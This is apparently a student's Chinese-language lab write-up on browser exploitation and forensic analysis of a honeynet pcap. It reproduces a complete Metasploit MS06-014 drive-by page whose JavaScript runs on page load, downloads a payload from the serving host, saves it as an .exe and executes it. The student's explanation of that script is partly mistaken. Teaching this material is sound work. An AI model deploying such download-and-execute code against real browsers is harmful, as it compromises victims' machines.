Step 7:当我们在本地window 10操作系统中进行解压,就会出现病毒防护的报警;


2.3 Web浏览器渗透攻击对抗


实践任务:

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。


实践步骤:

Step 0:首先实践一中已经对MS06-014漏洞进行了攻击,实践三延续实践一进行分析;

Step 1:将实践一获得的网页挂马网站保存下来然后用记事本打开会发现里面全是一堆空格和回车,将字符串都进行了分割,这是攻击者为了防止被发现进行的字符串的混淆

Step 2:使用JS反混淆工具进行格式化将多余的空格和回车去除;

<!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.0Transitional//EN">
<!--savedfromurl=(0039)http://192.168.200.2:8080/FxuOwQvU9eiSb-->
<HTML>
    
    <HEAD>
        <TITLE>
        </TITLE>
        <METAcontent="text/html;charset=gb2312" http-equiv=Content-Type>
            <SCRIPTlanguage=javascript>
                function oKJDdBQrZfhhHtuwIIqpxLLmAqmE(on) {varr=null; try { eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
                }catch(e){} if(!r) { try {eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")}catch(e){}
                } if(!r) { try eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'','')") }catch(e){}
                } if(!r) { try {eval("r=o" ".Ge" +"tOb" "je"+"ct('',n)") }catch(e){} }
                if(!r) { try { eval("r=o"+".Ge"+"tOb"+"ject(n,'')") }catch(e){} } if(!r)
                {try { eval("r=o"+".Ge"+"tOb"+"ject(n)" ) }catch(e){} return(r ); } function
                qwpZKQSRmTheTIknPlv( a ) { var s = oKJDdBQrZfhhHtuwIIqpxLLmAqmE( a, "W"
                + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = oKJDdBQrZfhhHtuwIIqpxLLmAqmE(
                a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P"
                + "ro" + "ce" + "ss" ); var url = document.location + '/p' + 'ay' + 'lo'
                + 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\aBMRdvKxs"
                + ".e" + "xe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try
                { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new
                ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) { return(0); } xml.open("GET",
                url, false); xml.send(null); dat = xml.responseBody; o.Type = 1 ; o.Mode
                = 3 ; o.Open ( ) ; o.Write ( dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin
                , 0 ); } function nnPiNsOYORfiRQIWiaObcEcwFOy( ) { var i = 0; var t = new
                Array( '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6'
                + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3'
                + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E'
                + '3' + '6' + '}' , '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6'
                + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9'
                + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2'
                + '9' + 'E' + '3' + '0' + '}' , '{' + '7' + 'F' + '5' + 'B' + '7' + 'F'
                + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1'
                + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3'
                + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}' , '{' + '6' + 'e' + '3' + '2'
                + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e'
                + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f'
                + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}' , '{' + '6' + '4'
                + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-'
                + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C'
                + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}' , '{'
                + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C'
                + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-'
                + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6'
                + '}' , '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1'
                + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F'
                + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0'
                + '1' + '0' + '}' , '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9'
                + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8'
                + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8'
                + '4' + 'B' + 'F' + '8' + '}' , '{' + 'D' + '0' + 'C' + '0' + '7' + 'D'
                + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1'
                + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1'
                + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}' , '{' + 'E' + '8' + 'C' + 'C'
                + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9'
                + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7'
                + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}' , '{' + 'A' + 'B'
                + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-'
                + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4'
                + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}' , '{'
                + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0'
                + '0'+ '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-'
                + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6'
                + '}' , '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0'
                + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0'
                + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0'
                + '4' + '6' + '}' , null ); while (t[i]) { var a = null; if (t[i].substring(0,1)
                == '{') { a = document.createElement("object"); a.setAttribute("cl" + "as"
                + "sid", "cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 )
                ) ; } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) {
                try { var b = oKJDdBQrZfhhHtuwIIqpxLLmAqmE( a , "W" + "Sc" + "ri" + "pt"
                + ".S" + "he" + "ll" ) ; if (b) { qwpZKQSRmTheTIknPlv( a ) ; return(0)
                ; } } catch(e){ } } i++; } }
                </SCRIPT>
                <METAcontent="MSHTML5.00.2920.0" name=GENERATOR>
    </HEAD>
    <BODYonload=nnPiNsOYORfiRQIWiaObcEcwFOy()>
        OUQjTCTuRRdhoMFiwRwmgEu
        </BODY>

</HTML>

分析:从上述的代码汇总可以看到是由JavaScript编写的,主要有三个函数oKJDdBQrZfhhHtuwIIqpxLLmAqmE&qwpZKQSRmTheTIknPlv&nnPiNsOYORfiRQIWiaObcEcwFOy,这俩函数都是乱码型的名字,完全看不出来都在干嘛,从第一个函数的实现可以看到主要是使用方法CreateObject()&GetObject()获取字符;第二个函数有一些熟悉的关于网页的关键词,Shell、payload、XMLHTTP、ServerXMLHTTP并且从代码的实现可以看到这是对网页的操作;最后一个函数中设置了很多数组,经查看到BD96C556这个字符串就是漏洞MS06-014;

从上述的三个函数和函数的实现可以大致猜测出这个挂马网页的执行流程首先CreateObject()&GetObject()获取字符,猜测是用户名和密码关键字;然后是对网页进行操作即开始部署钓鱼网站;最后使用漏洞MS06-014实施攻击;


2.4 Web浏览器遭遇攻击、取证分析


实践任务:通过分析给的网络记录pcap文件,回答下列问题:

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
  • 请给出攻击者执行攻击动作的概要描述。
  • 攻击者引入了哪些技巧带来了困难。
  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
  • shellcode执行了哪些操作?比较他们之间MD5的差异?
  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

实践步骤:

Step 0:首先下载软件Chaosreader

Step 1:将下载的软件和pcap文件放到一个文件夹下,打开kali并进入文件目录;执行./chaosreader suspicious-time.pcap

从图中可以发现应用层的协议有①HTTP②ICMP③Bootps④Netbios⑤DNS

在chaosreader的文件夹下生成了很多html等文件,其中有个index.html;里面是对pcap文件进行分析的报告;

Step 2:使用Wireshark对pcap文件进行分析;同样可以看到和上述chaosreader软件得到的应用层协议;

Step 3:继续使用chaosreader执行命令行for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort

分析:根据上图的结果可知

域名 IP
rapidshare.com.eyu32.ru 192.168.56.50
shop.honeynet.sg 192.168.56.51
sploitme.com.cn 192.168.56.52

模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)

192.168.56.51 ( “shop.honeynet.sg”)

攻击者:192.168.56.52 ( “sploitme.com.cn”)

受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15

服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)

Step 4:使用Wireshark的过滤规则nbns过滤数据包,发现和上面的chaosreader软件得到一样的受害主机,因此推测安装的环境是配置在虚拟机里;

Step 5:使用Wireshark的过滤规则HTTP过滤数据包,可以看到攻击者对靶机的网站的一系列操作,而我们使用chaosreader软件已经获得了整个pcap文件的sessions.html,因此我们用这些html文件进行分析;

通过分析这些sessions.html文件得到如下表:

session_html 域名
session_0006.part_01.html rapidshare.com.eyu32.ru/login.php
session_0007.part_02.html sploitme.com.cn
session_0032.part_01.html shop.honeynet.sg/catalog/

依此点开这些html文件可以看到如下截图:

Step 6:我们接着分析Wireshark中对HTTP过滤的数据包;

分析:

  • 可以看到首先是一个GET login.php进行登录,然后是304网页接下来就是从302的not found到404的not found然后又是一个```GET login.php``进行登录;

  • 从这些数据流中可知,攻击者先尝试进行登录,然后利用302网页做调转到404页面,即将钓鱼网站302隐藏在404中,最后再次登录的时候就会将数据发送到302网页;

分析:

  • 从上图中可以看到攻击者进行攻击的时候的访问的一些网页,首先攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe;

Step 7:使用Wireshark对pcap文件进行分析;

Step 8:使用Wireshark对pcap文件进行分析;

  • 然后是上述分析的302页面重定向到404页面;
  • 接下来在302页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码;
  • 如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件,即访问www.honeynet.org;

Step 9: 攻击者使用了哪些技巧防分析:

  • 首先是被黑的网页中包含JavaScript代码,可以看到这些代码后面是混乱的,即攻击者使用了加密和编码的方式进行了混淆

  • 通过将钓鱼网页伪装成404页面(上述已经分析过)

Step 10:继续使用Wireshark对pcap文件进行分析;其中从tcp流中分析可知被攻击的主机操作系统是Windows;

经过查询Mozilla/4.0可知浏览器为IE;

存在的安全漏洞有:木有找到...猜想,难道是从哪些协议中可以查到吗?

答案写的是①MDAC RDS.Dataspace ActiveX controlAOL IWinAmpActiveX control (AmpX.dll)DirectShow ActiveX control (msvidctl.dll)Office Snapshot Viewer ActiveX controlCOM Object Instantiation (msdds.dll)Office Web Components ActiveX control

Step 11:在攻击场景中有二进制可执行恶意代码参与,从恶意软件中下载可执行的文件并在本地执行,恶意软件通过Internet Explorer加载www.honeynet.org。


3.学习中遇到的问题及解决

  • 问题1 :在XP攻击机火狐里面无法打开控制台;
  • 解决1 :换了一个主机,换到Ubuntu;
  • 问题2:实践二分析中存在的漏洞是真的不知道咋分析;
  • 解决2:懵逼待解决;
  • 问题3:实践四中Shellcode的分析也是不会;
  • 解决3:待解决中...

4.实践总结

这次的实践也是理论好懂,但是实践难做,而且后面的分析好多,真的好多,实践二的有些文件还没有,做的真的心伤呀!!!最后总算是做完了。。。

参考资料

posted @ 2020-05-21 00:27  Jody9123  阅读(1871)  评论(0编辑  收藏  举报